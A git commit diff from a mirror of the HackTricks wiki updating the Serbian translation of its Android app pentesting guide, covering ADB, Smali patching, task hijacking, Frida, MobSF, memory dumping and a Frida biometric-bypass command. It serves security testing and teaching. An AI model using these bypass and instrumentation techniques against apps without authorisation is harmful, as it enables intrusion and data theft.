mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/mobile-pentesting/android-app-pentesting/README.md', 's
This commit is contained in:
parent
2743fbc0a3
commit
70d8185f8c
@ -334,6 +334,7 @@
|
||||
- [Frida Tutorial 3](mobile-pentesting/android-app-pentesting/frida-tutorial/owaspuncrackable-1.md)
|
||||
- [Objection Tutorial](mobile-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.md)
|
||||
- [Google CTF 2018 - Shall We Play a Game?](mobile-pentesting/android-app-pentesting/google-ctf-2018-shall-we-play-a-game.md)
|
||||
- [Insecure In App Update Rce](mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce.md)
|
||||
- [Install Burp Certificate](mobile-pentesting/android-app-pentesting/install-burp-certificate.md)
|
||||
- [Intent Injection](mobile-pentesting/android-app-pentesting/intent-injection.md)
|
||||
- [Make APK Accept CA Certificate](mobile-pentesting/android-app-pentesting/make-apk-accept-ca-certificate.md)
|
||||
|
@ -13,21 +13,22 @@ android-applications-basics.md
|
||||
## ADB (Android Debug Bridge)
|
||||
|
||||
Ovo je glavni alat koji vam je potreban za povezivanje sa android uređajem (emuliranim ili fizičkim).\
|
||||
**ADB** omogućava kontrolu uređaja preko **USB** ili **Mreže** sa računara. Ova alatka omogućava **kopiranje** fajlova u oba pravca, **instalaciju** i **deinstalaciju** aplikacija, **izvršavanje** shell komandi, **pravljenje rezervnih kopija** podataka, **čitanje** logova, među ostalim funkcijama.
|
||||
**ADB** omogućava kontrolu uređaja preko **USB** ili **mreže** sa računara. Ova alatka omogućava **kopiranje** fajlova u oba pravca, **instalaciju** i **deinstalaciju** aplikacija, **izvršavanje** shell komandi, **pravljenje rezervnih kopija** podataka, **čitanje** logova, među ostalim funkcijama.
|
||||
|
||||
Pogledajte sledeću listu [**ADB Komandi**](adb-commands.md) da biste naučili kako koristiti adb.
|
||||
|
||||
## Smali
|
||||
|
||||
Ponekad je zanimljivo **modifikovati kod aplikacije** da biste pristupili **skrivenim informacijama** (možda dobro obfuskovanim lozinkama ili oznakama). Tada bi moglo biti zanimljivo dekompilirati apk, modifikovati kod i rekompilirati ga.\
|
||||
[**U ovom tutorijalu** možete **naučiti kako dekompilirati APK, modifikovati Smali kod i rekompilirati APK** sa novom funkcionalnošću](smali-changes.md). Ovo može biti veoma korisno kao **alternativa za nekoliko testova tokom dinamičke analize** koji će biti predstavljeni. Tada, **uvek imajte na umu ovu mogućnost**.
|
||||
Ponekad je zanimljivo **modifikovati kod aplikacije** da biste pristupili **skrivenim informacijama** (možda dobro obfuskovanim lozinkama ili zastavicama). Tada bi moglo biti zanimljivo dekompilirati apk, modifikovati kod i recompile-ovati ga.\
|
||||
[**U ovom tutorijalu** možete **naučiti kako dekompilirati APK, modifikovati Smali kod i recompile-ovati APK** sa novom funkcionalnošću](smali-changes.md). Ovo može biti veoma korisno kao **alternativa za nekoliko testova tokom dinamičke analize** koji će biti predstavljeni. Tada, **uvek imajte na umu ovu mogućnost**.
|
||||
|
||||
## Drugi zanimljivi trikovi
|
||||
|
||||
- [Lažiranje vaše lokacije u Play Store-u](spoofing-your-location-in-play-store.md)
|
||||
- [Shizuku Privileged API (ADB-bazirani pristup bez root privilegija)](shizuku-privileged-api.md)
|
||||
- [Shizuku Privileged API (ADB-bazirani pristup bez root-a)](shizuku-privileged-api.md)
|
||||
- [Iskorišćavanje nesigurnih mehanizama ažuriranja unutar aplikacije](insecure-in-app-update-rce.md)
|
||||
- **Preuzimanje APK-ova**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
|
||||
- Ekstrakcija APK-a sa uređaja:
|
||||
- Ekstrakt APK sa uređaja:
|
||||
```bash
|
||||
adb shell pm list packages
|
||||
com.android.insecurebankv2
|
||||
@ -78,7 +79,7 @@ Iz **strings.xml** datoteke, osetljive informacije kao što su API ključevi, pr
|
||||
### Tapjacking
|
||||
|
||||
**Tapjacking** je napad gde se **maliciozna** **aplikacija** pokreće i **pozicionira iznad aplikacije žrtve**. Kada vidljivo prikrije aplikaciju žrtve, njen korisnički interfejs je dizajniran na način da prevari korisnika da interaguje s njom, dok zapravo prosleđuje interakciju aplikaciji žrtve.\
|
||||
U suštini, to je **oslepljivanje korisnika da ne zna da zapravo izvršava radnje na aplikaciji žrtve**.
|
||||
U suštini, to **oslepljuje korisnika da ne zna da zapravo izvršava radnje na aplikaciji žrtve**.
|
||||
|
||||
Pronađite više informacija u:
|
||||
|
||||
@ -86,9 +87,9 @@ Pronađite više informacija u:
|
||||
tapjacking.md
|
||||
{{#endref}}
|
||||
|
||||
### Task Hijacking
|
||||
### Preuzimanje zadataka
|
||||
|
||||
**Aktivnost** sa **`launchMode`** postavljenim na **`singleTask` bez definisanog `taskAffinity`** je ranjiva na hijacking zadatka. To znači da se **aplikacija** može instalirati i ako se pokrene pre prave aplikacije, mogla bi **ukrasti zadatak prave aplikacije** (tako da korisnik misli da koristi **malicioznu aplikaciju misleći da koristi pravu**).
|
||||
**Aktivnost** sa **`launchMode`** postavljenim na **`singleTask` bez definisanog `taskAffinity`** je ranjiva na preuzimanje zadataka. To znači da se **aplikacija** može instalirati i ako se pokrene pre prave aplikacije, mogla bi **preuzeti zadatak prave aplikacije** (tako da korisnik misli da koristi pravu aplikaciju dok zapravo koristi **malicioznu aplikaciju**).
|
||||
|
||||
Više informacija u:
|
||||
|
||||
@ -103,7 +104,7 @@ android-task-hijacking.md
|
||||
U Androidu, datoteke **smeštene** u **interno** skladište su **dizajnirane** da budu **pristupačne** isključivo od strane **aplikacije** koja ih je **napravila**. Ova sigurnosna mera je **sprovedena** od strane Android operativnog sistema i obično je adekvatna za sigurnosne potrebe većine aplikacija. Međutim, programeri ponekad koriste režime kao što su `MODE_WORLD_READABLE` i `MODE_WORLD_WRITABLE` da **omoguće** deljenje datoteka između različitih aplikacija. Ipak, ovi režimi **ne ograničavaju pristup** ovim datotekama od strane drugih aplikacija, uključujući potencijalno maliciozne.
|
||||
|
||||
1. **Staticka analiza:**
|
||||
- **Osigurajte** da se korišćenje `MODE_WORLD_READABLE` i `MODE_WORLD_WRITABLE` **pažljivo ispituje**. Ovi režimi **mogu potencijalno izložiti** datoteke **neprikladnom ili neovlašćenom pristupu**.
|
||||
- **Osigurajte** da se korišćenje `MODE_WORLD_READABLE` i `MODE_WORLD_WRITABLE` **pažljivo ispita**. Ovi režimi **mogu potencijalno izložiti** datoteke **neprikladnom ili neovlašćenom pristupu**.
|
||||
2. **Dinamička analiza:**
|
||||
- **Proverite** **dozvole** postavljene na datotekama koje kreira aplikacija. Konkretno, **proverite** da li su neke datoteke **postavljene da budu čitljive ili zapisive globalno**. Ovo može predstavljati značajan sigurnosni rizik, jer bi omogućilo **bilo kojoj aplikaciji** instaliranoj na uređaju, bez obzira na njen izvor ili nameru, da **čita ili modifikuje** ove datoteke.
|
||||
|
||||
@ -154,10 +155,10 @@ Programeri ne bi trebali koristiti **zastarele algoritme** za obavljanje **prove
|
||||
|
||||
### Ostale provere
|
||||
|
||||
- Preporučuje se da se **obfuskira APK** kako bi se otežao rad obrnute inženjeringa napadačima.
|
||||
- Ako je aplikacija osetljiva (kao što su bankarske aplikacije), trebala bi da izvrši **svoje provere da vidi da li je mobilni uređaj root-ovan** i da deluje u skladu s tim.
|
||||
- Ako je aplikacija osetljiva (kao što su bankarske aplikacije), trebala bi da proveri da li se koristi **emulator**.
|
||||
- Ako je aplikacija osetljiva (kao što su bankarske aplikacije), trebala bi da **proveri svoju integritet pre izvršavanja** da bi proverila da li je izmenjena.
|
||||
- Preporučuje se da se **obfuskira APK** kako bi se otežao posao obrnute inženjeringa napadačima.
|
||||
- Ako je aplikacija osetljiva (kao što su bankarske aplikacije), treba da izvrši **svoje provere da vidi da li je mobilni uređaj root-ovan** i da deluje u skladu s tim.
|
||||
- Ako je aplikacija osetljiva (kao što su bankarske aplikacije), treba da proveri da li se koristi **emulator**.
|
||||
- Ako je aplikacija osetljiva (kao što su bankarske aplikacije), treba da **proveri svoju integritet pre izvršavanja** da bi proverila da li je modifikovana.
|
||||
- Koristite [**APKiD**](https://github.com/rednaga/APKiD) da proverite koji je kompajler/paker/obfuskator korišćen za izgradnju APK-a.
|
||||
|
||||
### React Native Aplikacija
|
||||
@ -182,7 +183,7 @@ Prema ovom [**blog postu**](https://clearbluejar.github.io/posts/desuperpacking-
|
||||
|
||||
### Automatizovana Staticka Analiza Koda
|
||||
|
||||
Alat [**mariana-trench**](https://github.com/facebook/mariana-trench) je sposoban da pronađe **ranjivosti** skeniranjem **koda** aplikacije. Ovaj alat sadrži niz **poznatih izvora** (koji ukazuju alatu na **mesta** gde je **ulaz** **kontrolisan od strane korisnika**), **sinks** (koji ukazuju alatu na **opasna** **mesta** gde zlonamerni korisnički ulaz može izazvati štetu) i **pravila**. Ova pravila ukazuju na **kombinaciju** **izvora-sinks** koja ukazuje na ranjivost.
|
||||
Alat [**mariana-trench**](https://github.com/facebook/mariana-trench) je sposoban da pronađe **ranjivosti** skeniranjem **koda** aplikacije. Ovaj alat sadrži niz **poznatih izvora** (koji ukazuju alatu na **mesta** gde je **ulaz** **kontrolisan od strane korisnika**), **sinks** (koji ukazuju alatu na **opasna** **mesta** gde bi zlonamerni korisnički ulaz mogao izazvati štetu) i **pravila**. Ova pravila ukazuju na **kombinaciju** **izvora-sinks** koja ukazuje na ranjivost.
|
||||
|
||||
Sa ovim znanjem, **mariana-trench će pregledati kod i pronaći moguće ranjivosti u njemu**.
|
||||
|
||||
@ -219,7 +220,7 @@ content-protocol.md
|
||||
|
||||
### Online Dinamička analiza
|
||||
|
||||
Možete napraviti **besplatan nalog** na: [https://appetize.io/](https://appetize.io). Ova platforma vam omogućava da **otpremite** i **izvršite** APK-ove, tako da je korisna da vidite kako se apk ponaša.
|
||||
Možete kreirati **besplatan nalog** na: [https://appetize.io/](https://appetize.io). Ova platforma vam omogućava da **otpremite** i **izvršite** APK-ove, tako da je korisna za gledanje kako se apk ponaša.
|
||||
|
||||
Možete čak i **videti logove vaše aplikacije** na vebu i povezati se putem **adb**.
|
||||
|
||||
@ -231,24 +232,24 @@ Zahvaljujući ADB konekciji možete koristiti **Drozer** i **Frida** unutar emul
|
||||
|
||||
#### Korišćenje emulatora
|
||||
|
||||
- [**Android Studio**](https://developer.android.com/studio) (Možete kreirati **x86** i **arm** uređaje, i prema [**ovome**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**najnovijim x86** verzijama **podržavaju ARM biblioteke** bez potrebe za sporim arm emulatorom).
|
||||
- [**Android Studio**](https://developer.android.com/studio) (Možete kreirati **x86** i **arm** uređaje, a prema [**ovome**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**najnovijim x86** verzijama **podržavaju ARM biblioteke** bez potrebe za sporim arm emulatorom).
|
||||
- Naučite kako da ga postavite na ovoj stranici:
|
||||
|
||||
{{#ref}}
|
||||
avd-android-virtual-device.md
|
||||
{{#endref}}
|
||||
|
||||
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Besplatna verzija:** Personal Edition, morate napraviti nalog. _Preporučuje se da **preuzmete** verziju **SA**_ _**VirtualBox** da biste izbegli potencijalne greške._)
|
||||
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Besplatna verzija:** Personal Edition, morate kreirati nalog. _Preporučuje se da **preuzmete** verziju **SA**_ _**VirtualBox** da biste izbegli potencijalne greške._)
|
||||
- [**Nox**](https://es.bignox.com) (Besplatno, ali ne podržava Frida ili Drozer).
|
||||
|
||||
> [!TIP]
|
||||
> Kada kreirate novi emulator na bilo kojoj platformi, zapamtite da što je veći ekran, emulator će sporije raditi. Dakle, odaberite male ekrane ako je moguće.
|
||||
> Kada kreirate novi emulator na bilo kojoj platformi, zapamtite da što je veći ekran, emulator će sporije raditi. Dakle, izaberite male ekrane ako je moguće.
|
||||
|
||||
Da biste **instalirali google usluge** (kao što je AppStore) u Genymotion-u, potrebno je da kliknete na crveno označeno dugme na sledećoj slici:
|
||||
|
||||
.png>)
|
||||
|
||||
Takođe, primetite da u **konfiguraciji Android VM u Genymotion-u** možete odabrati **Bridge Network mode** (ovo će biti korisno ako ćete se povezivati na Android VM iz različitog VM-a sa alatima).
|
||||
Takođe, primetite da u **konfiguraciji Android VM u Genymotion-u** možete izabrati **Bridge Network mode** (to će biti korisno ako ćete se povezivati na Android VM iz različitog VM-a sa alatima).
|
||||
|
||||
#### Koristite fizički uređaj
|
||||
|
||||
@ -267,7 +268,7 @@ Morate aktivirati **debugging** opcije i bilo bi dobro ako možete **root-ovati*
|
||||
|
||||
**Logovanje**
|
||||
|
||||
Programeri bi trebali biti oprezni da ne izlažu **informacije za debagovanje** javno, jer to može dovesti do curenja osetljivih podataka. Preporučuju se alati [**pidcat**](https://github.com/JakeWharton/pidcat) i `adb logcat` za praćenje logova aplikacije kako bi se identifikovale i zaštitile osetljive informacije. **Pidcat** je omiljen zbog svoje jednostavnosti korišćenja i čitljivosti.
|
||||
Programeri bi trebali biti oprezni da ne izlažu **informacije za debagovanje** javno, jer to može dovesti do curenja osetljivih podataka. Alati [**pidcat**](https://github.com/JakeWharton/pidcat) i `adb logcat` se preporučuju za praćenje logova aplikacije kako bi se identifikovale i zaštitile osetljive informacije. **Pidcat** je omiljen zbog svoje jednostavnosti korišćenja i čitljivosti.
|
||||
|
||||
> [!WARNING]
|
||||
> Imajte na umu da od **novijih verzija Android-a 4.0**, **aplikacije mogu pristupiti samo svojim logovima**. Dakle, aplikacije ne mogu pristupiti logovima drugih aplikacija.\
|
||||
@ -275,19 +276,19 @@ Programeri bi trebali biti oprezni da ne izlažu **informacije za debagovanje**
|
||||
|
||||
**Keširanje Copy/Paste Bafera**
|
||||
|
||||
Androidov **okvir zasnovan na clipboard-u** omogućava funkcionalnost kopiranja i lepljenja u aplikacijama, ali predstavlja rizik jer **druge aplikacije** mogu **pristupiti** clipboard-u, potencijalno izlažući osetljive podatke. Ključno je **onemogućiti copy/paste** funkcije za osetljive delove aplikacije, poput podataka o kreditnim karticama, kako bi se sprečila curenja podataka.
|
||||
Androidov **okvir zasnovan na clipboard-u** omogućava funkcionalnost kopiranja i lepljenja u aplikacijama, ali predstavlja rizik jer **druge aplikacije** mogu **pristupiti** clipboard-u, potencijalno izlažući osetljive podatke. Ključno je **onemogućiti copy/paste** funkcije za osetljive delove aplikacije, kao što su podaci o kreditnim karticama, kako bi se sprečila curenja podataka.
|
||||
|
||||
**Logovi Rušenja**
|
||||
|
||||
Ako aplikacija **pada** i **čuva logove**, ovi logovi mogu pomoći napadačima, posebno kada aplikaciju nije moguće obrnuti inženjering. Da biste umanjili ovaj rizik, izbegavajte logovanje prilikom rušenja, a ako logovi moraju biti preneseni preko mreže, osigurajte da se šalju putem SSL kanala radi sigurnosti.
|
||||
Ako aplikacija **pada** i **čuva logove**, ovi logovi mogu pomoći napadačima, posebno kada aplikaciju nije moguće obrnuti inženjeringom. Da biste umanjili ovaj rizik, izbegavajte logovanje prilikom rušenja, a ako logovi moraju biti preneseni preko mreže, osigurajte da se šalju putem SSL kanala radi sigurnosti.
|
||||
|
||||
Kao pentester, **pokušajte da pogledate ove logove**.
|
||||
|
||||
**Podaci o Analitici Poslati Trećim Stranama**
|
||||
|
||||
Aplikacije često integrišu usluge poput Google Adsense, što može nenamerno **izložiti osetljive podatke** zbog nepravilne implementacije od strane programera. Da biste identifikovali potencijalna curenja podataka, preporučuje se da **presretnete saobraćaj aplikacije** i proverite da li se šalju osetljive informacije trećim stranama.
|
||||
Aplikacije često integrišu usluge poput Google Adsense, što može nenamerno **izložiti osetljive podatke** zbog nepravilne implementacije od strane programera. Da biste identifikovali potencijalna curenja podataka, preporučuje se da **presretnete saobraćaj aplikacije** i proverite da li se šalju bilo kakve osetljive informacije trećim stranama.
|
||||
|
||||
### SQLite DBs
|
||||
### SQLite DB-ovi
|
||||
|
||||
Većina aplikacija će koristiti **internu SQLite bazu podataka** za čuvanje informacija. Tokom pentesta obratite pažnju na **baze podataka** koje su kreirane, imena **tabela** i **kolona** i sve **podatke** sačuvane jer biste mogli pronaći **osetljive informacije** (što bi bila ranjivost).\
|
||||
Baze podataka bi trebale biti locirane u `/data/data/the.package.name/databases` kao `/data/data/com.mwr.example.sieve/databases`.
|
||||
@ -310,7 +311,7 @@ Takođe zapamtite da kod aktivnosti počinje u **`onCreate`** metodi.
|
||||
|
||||
Kada je Aktivnost eksportovana, možete pozvati njen ekran iz spoljne aplikacije. Stoga, ako je aktivnost sa **osetljivim informacijama** **eksportovana**, mogli biste **obići** mehanizme **autentifikacije** **da biste joj pristupili.**
|
||||
|
||||
[**Naučite kako da eksploatišete eksportovane aktivnosti sa Drozer-om.**](drozer-tutorial/index.html#activities)
|
||||
[**Saznajte kako da eksploatišete eksportovane aktivnosti sa Drozer-om.**](drozer-tutorial/index.html#activities)
|
||||
|
||||
Takođe možete pokrenuti eksportovanu aktivnost iz adb:
|
||||
|
||||
@ -319,14 +320,14 @@ Takođe možete pokrenuti eksportovanu aktivnost iz adb:
|
||||
```bash
|
||||
adb shell am start -n com.example.demo/com.example.test.MainActivity
|
||||
```
|
||||
**NAPOMENA**: MobSF će detektovati kao zlonameran korišćenje _**singleTask/singleInstance**_ kao `android:launchMode` u aktivnosti, ali zbog [ovoga](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), očigledno je da je to opasno samo na starim verzijama (API verzije < 21).
|
||||
**NAPOMENA**: MobSF će detektovati kao malicioznu upotrebu _**singleTask/singleInstance**_ kao `android:launchMode` u aktivnosti, ali zbog [ovoga](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), očigledno je da je to opasno samo na starim verzijama (API verzije < 21).
|
||||
|
||||
> [!TIP]
|
||||
> Imajte na umu da zaobilaženje autorizacije nije uvek ranjivost, to zavisi od načina na koji zaobilaženje funkcioniše i koje informacije su izložene.
|
||||
|
||||
**Curjenje osetljivih informacija**
|
||||
|
||||
**Aktivnosti takođe mogu vraćati rezultate**. Ako uspete da pronađete izvezenu i nezaštićenu aktivnost koja poziva **`setResult`** metodu i **vraća osetljive informacije**, dolazi do curenja osetljivih informacija.
|
||||
**Aktivnosti takođe mogu vraćati rezultate**. Ako uspete da pronađete izvezenu i nezaštićenu aktivnost koja poziva metodu **`setResult`** i **vraća osetljive informacije**, dolazi do curenja osetljivih informacija.
|
||||
|
||||
#### Tapjacking
|
||||
|
||||
@ -388,10 +389,10 @@ Imajte na umu da ako pronađete ispravne krajnje tačke unutar aplikacije, možd
|
||||
|
||||
Jedan [zanimljiv izveštaj o bug bounty](https://hackerone.com/reports/855618) o linkovima (_/.well-known/assetlinks.json_).
|
||||
|
||||
### Neuspeh inspekcije i verifikacije transportnog sloja
|
||||
### Inspekcija i verifikacija transportnog sloja
|
||||
|
||||
- **Sertifikati se ne proveravaju uvek pravilno** od strane Android aplikacija. Uobičajeno je da ove aplikacije zanemaruju upozorenja i prihvataju samopotpisane sertifikate ili, u nekim slučajevima, vraćaju se na korišćenje HTTP veza.
|
||||
- **Pregovori tokom SSL/TLS rukovanja su ponekad slabi**, koristeći nesigurne kriptografske suite. Ova ranjivost čini vezu podložnom napadima "čovek u sredini" (MITM), omogućavajući napadačima da dešifruju podatke.
|
||||
- **Pregovori tokom SSL/TLS rukovanja su ponekad slabi**, koristeći nesigurne kriptografske suite. Ova ranjivost čini vezu podložnom napadima "čovek u sredini" (MITM), omogućavajući napadačima da dekriptuju podatke.
|
||||
- **Curjenje privatnih informacija** je rizik kada aplikacije autentifikuju koristeći sigurne kanale, ali zatim komuniciraju preko nesigurnih kanala za druge transakcije. Ovaj pristup ne štiti osetljive podatke, kao što su kolačići sesije ili korisnički podaci, od presretanja od strane zlonamernih entiteta.
|
||||
|
||||
#### Verifikacija sertifikata
|
||||
@ -406,7 +407,7 @@ SSL Pinning je mera sigurnosti gde aplikacija proverava sertifikat servera u odn
|
||||
|
||||
Da biste inspekciju HTTP saobraćaja, potrebno je **instalirati sertifikat alata za proxy** (npr. Burp). Bez instalacije ovog sertifikata, šifrovani saobraćaj možda neće biti vidljiv kroz proxy. Za vodič o instalaciji prilagođenog CA sertifikata, [**kliknite ovde**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
|
||||
|
||||
Aplikacije koje cilјaju **API nivo 24 i više** zahtevaju izmene u Network Security Config-u kako bi prihvatile CA sertifikat proksija. Ovaj korak je ključan za inspekciju šifrovanog saobraćaja. Za uputstva o izmeni Network Security Config-a, [**pogledajte ovaj tutorijal**](make-apk-accept-ca-certificate.md).
|
||||
Aplikacije koje ciljaju **API Level 24 i više** zahtevaju izmene u Network Security Config-u kako bi prihvatile CA sertifikat proxy-a. Ovaj korak je ključan za inspekciju šifrovanog saobraćaja. Za uputstva o izmeni Network Security Config-a, [**pogledajte ovaj tutorijal**](make-apk-accept-ca-certificate.md).
|
||||
|
||||
Ako se koristi **Flutter**, potrebno je da pratite uputstva na [**ovoj stranici**](flutter.md). To je zato što, samo dodavanje sertifikata u skladište neće raditi jer Flutter ima svoju listu važećih CA.
|
||||
|
||||
@ -426,7 +427,7 @@ Važno je takođe tražiti uobičajene web ranjivosti unutar aplikacije. Detaljn
|
||||
|
||||
### Frida
|
||||
|
||||
[Frida](https://www.frida.re) je alat za dinamičku instrumentaciju za programere, inženjere obrnutog inženjeringa i istraživače bezbednosti.\
|
||||
[Frida](https://www.frida.re) je alat za dinamičku instrumentaciju za programere, inženjere obrnutog inženjeringa i istraživače sigurnosti.\
|
||||
**Možete pristupiti pokrenutim aplikacijama i povezati metode u vreme izvođenja da promenite ponašanje, promenite vrednosti, izdvojite vrednosti, pokrenete različit kod...**\
|
||||
Ako želite da testirate Android aplikacije, morate znati kako koristiti Frida.
|
||||
|
||||
@ -434,13 +435,13 @@ Ako želite da testirate Android aplikacije, morate znati kako koristiti Frida.
|
||||
- Neki "GUI" za akcije sa Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
|
||||
- Ojection je odličan za automatizaciju korišćenja Frida: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
|
||||
- Možete pronaći neke sjajne Frida skripte ovde: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
|
||||
- Pokušajte da zaobiđete anti-debugging / anti-frida mehanizme učitavanjem Frida kao što je naznačeno u [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (alat [linjector](https://github.com/erfur/linjector-rs))
|
||||
- Pokušajte da zaobiđete mehanizme protiv debagovanja / anti-frida učitavanjem Frida kao što je naznačeno u [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (alat [linjector](https://github.com/erfur/linjector-rs))
|
||||
|
||||
### **Dump Memorije - Fridump**
|
||||
|
||||
Proverite da li aplikacija čuva osetljive informacije unutar memorije koje ne bi trebala da čuva, kao što su lozinke ili mnemotehničke asocijacije.
|
||||
|
||||
Korišćenjem [**Fridump3**](https://github.com/rootbsd/fridump3) možete dumpovati memoriju aplikacije sa:
|
||||
Korišćenjem [**Fridump3**](https://github.com/rootbsd/fridump3) možete dump-ovati memoriju aplikacije sa:
|
||||
```bash
|
||||
# With PID
|
||||
python3 fridump3.py -u <PID>
|
||||
@ -471,7 +472,7 @@ frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app
|
||||
```
|
||||
### **Pozadine slika**
|
||||
|
||||
Kada stavite aplikaciju u pozadinu, Android čuva **snimak aplikacije** tako da kada se vrati u fokus, počinje da učitava sliku pre aplikacije, tako da izgleda kao da je aplikacija učitana brže.
|
||||
Kada stavite aplikaciju u pozadinu, Android čuva **snimak aplikacije** tako da kada se vrati u fokus, počinje da učitava sliku pre aplikacije, pa izgleda kao da je aplikacija učitana brže.
|
||||
|
||||
Međutim, ako ovaj snimak sadrži **osetljive informacije**, neko ko ima pristup snimku može **ukrasti te informacije** (napomena: potrebno je imati root pristup da biste mu pristupili).
|
||||
|
||||
@ -504,7 +505,7 @@ Verovatno znate o ovim vrstama ranjivosti sa weba. Morate biti posebno oprezni s
|
||||
|
||||
- **SQL Injection:** Kada se bavite dinamičkim upitima ili Content-Providers, osigurajte da koristite parametarske upite.
|
||||
- **JavaScript Injection (XSS):** Proverite da li je podrška za JavaScript i Plugin onemogućena za bilo koje WebViews (onemogućena po defaultu). [More info here](webview-attacks.md#javascript-enabled).
|
||||
- **Local File Inclusion:** WebViews bi trebale imati onemogućen pristup fajl sistemu (omogućen po defaultu) - `(webview.getSettings().setAllowFileAccess(false);)`. [More info here](webview-attacks.md#javascript-enabled).
|
||||
- **Local File Inclusion:** WebViews bi trebale imati onemogućen pristup sistemu datoteka (omogućen po defaultu) - `(webview.getSettings().setAllowFileAccess(false);)`. [More info here](webview-attacks.md#javascript-enabled).
|
||||
- **Eternal cookies**: U nekoliko slučajeva kada Android aplikacija završi sesiju, kolačić nije opozvan ili može čak biti sačuvan na disku.
|
||||
- [**Secure Flag** in cookies](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags)
|
||||
|
||||
@ -533,32 +534,32 @@ MobSF takođe omogućava **diff/Compare** analizu i integraciju **VirusTotal** (
|
||||
**MobSF** može biti veoma koristan za **dinamičku analizu** u **Android**, ali u tom slučaju ćete morati da instalirate MobSF i **genymotion** na vašem hostu (VM ili Docker neće raditi). _Napomena: Prvo treba da **pokrenete VM u genymotion** a **zatim MobSF.**_\
|
||||
**MobSF dinamički analizer** može:
|
||||
|
||||
- **Dump podataka aplikacije** (URL-ovi, logovi, clipboard, screenshot-ovi koje ste napravili, screenshot-ovi koje je napravio "**Exported Activity Tester**", emailovi, SQLite baze podataka, XML datoteke i druge kreirane datoteke). Sve ovo se radi automatski osim za screenshot-ove, morate pritisnuti kada želite screenshot ili morate pritisnuti "**Exported Activity Tester**" da biste dobili screenshot-ove svih eksportovanih aktivnosti.
|
||||
- Zabeležiti **HTTPS saobraćaj**
|
||||
- Koristiti **Frida** za dobijanje **runtime** **informacija**
|
||||
- **Dump podataka aplikacije** (URL-ovi, logovi, clipboard, screenshot-ovi koje ste napravili, screenshot-ovi koje je napravio "**Exported Activity Tester**", emailovi, SQLite baze podataka, XML datoteke i druge kreirane datoteke). Sve ovo se automatski radi osim za screenshot-ove, treba da pritisnete kada želite screenshot ili treba da pritisnete "**Exported Activity Tester**" da dobijete screenshot-ove svih eksportovanih aktivnosti.
|
||||
- Zabeleži **HTTPS saobraćaj**
|
||||
- Koristi **Frida** da dobije **runtime** **informacije**
|
||||
|
||||
Od android **verzija > 5**, automatski će **pokrenuti Frida** i postaviće globalne **proxy** postavke za **hvatanje** saobraćaja. Hvataće samo saobraćaj iz testirane aplikacije.
|
||||
|
||||
**Frida**
|
||||
|
||||
Po defaultu, takođe će koristiti neke Frida skripte za **obići SSL pinning**, **detekciju root-a** i **detekciju debagera** i za **monitorisanje zanimljivih API-ja**.\
|
||||
Po defaultu, takođe će koristiti neke Frida skripte da **obiđe SSL pinning**, **detekciju root-a** i **detekciju debagera** i da **prati zanimljive API-je**.\
|
||||
MobSF takođe može **pozvati eksportovane aktivnosti**, uhvatiti **screenshot-ove** njih i **sačuvati** ih za izveštaj.
|
||||
|
||||
Da **počnete** dinamičko testiranje pritisnite zeleni dugme: "**Start Instrumentation**". Pritisnite "**Frida Live Logs**" da biste videli logove generisane Frida skriptama i "**Live API Monitor**" da biste videli sve pozive ka uhvaćenim metodama, prosleđene argumente i vraćene vrednosti (ovo će se pojaviti nakon pritiska na "Start Instrumentation").\
|
||||
MobSF takođe omogućava da učitate svoje **Frida skripte** (da biste poslali rezultate svojih Frida skripti u MobSF koristite funkciju `send()`). Takođe ima **several pre-written scripts** koje možete učitati (možete dodati više u `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), samo **izaberite ih**, pritisnite "**Load**" i pritisnite "**Start Instrumentation**" (moći ćete da vidite logove tih skripti unutar "**Frida Live Logs**").
|
||||
Da **počnete** dinamičko testiranje pritisnite zeleni dugme: "**Start Instrumentation**". Pritisnite "**Frida Live Logs**" da vidite logove generisane Frida skriptama i "**Live API Monitor**" da vidite sve pozive ka uhvaćenim metodama, prosleđene argumente i vraćene vrednosti (ovo će se pojaviti nakon pritiska na "Start Instrumentation").\
|
||||
MobSF takođe omogućava da učitate svoje **Frida skripte** (da pošaljete rezultate svojih Frida skripti MobSF-u koristite funkciju `send()`). Takođe ima **nekoliko unapred napisanih skripti** koje možete učitati (možete dodati više u `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), samo **izaberite ih**, pritisnite "**Load**" i pritisnite "**Start Instrumentation**" (moći ćete da vidite logove tih skripti unutar "**Frida Live Logs**").
|
||||
|
||||
.png>)
|
||||
|
||||
Pored toga, imate neke pomoćne Frida funkcionalnosti:
|
||||
|
||||
- **Enumerate Loaded Classes**: Ispisaće sve učitane klase
|
||||
- **Capture Strings**: Ispisaće sve uhvaćene stringove dok koristite aplikaciju (super bučno)
|
||||
- **Capture Strings**: Ispisaće sve uhvaćene stringove dok koristite aplikaciju (veoma bučno)
|
||||
- **Capture String Comparisons**: Može biti veoma korisno. **Prikazaće 2 stringa koja se upoređuju** i da li je rezultat bio True ili False.
|
||||
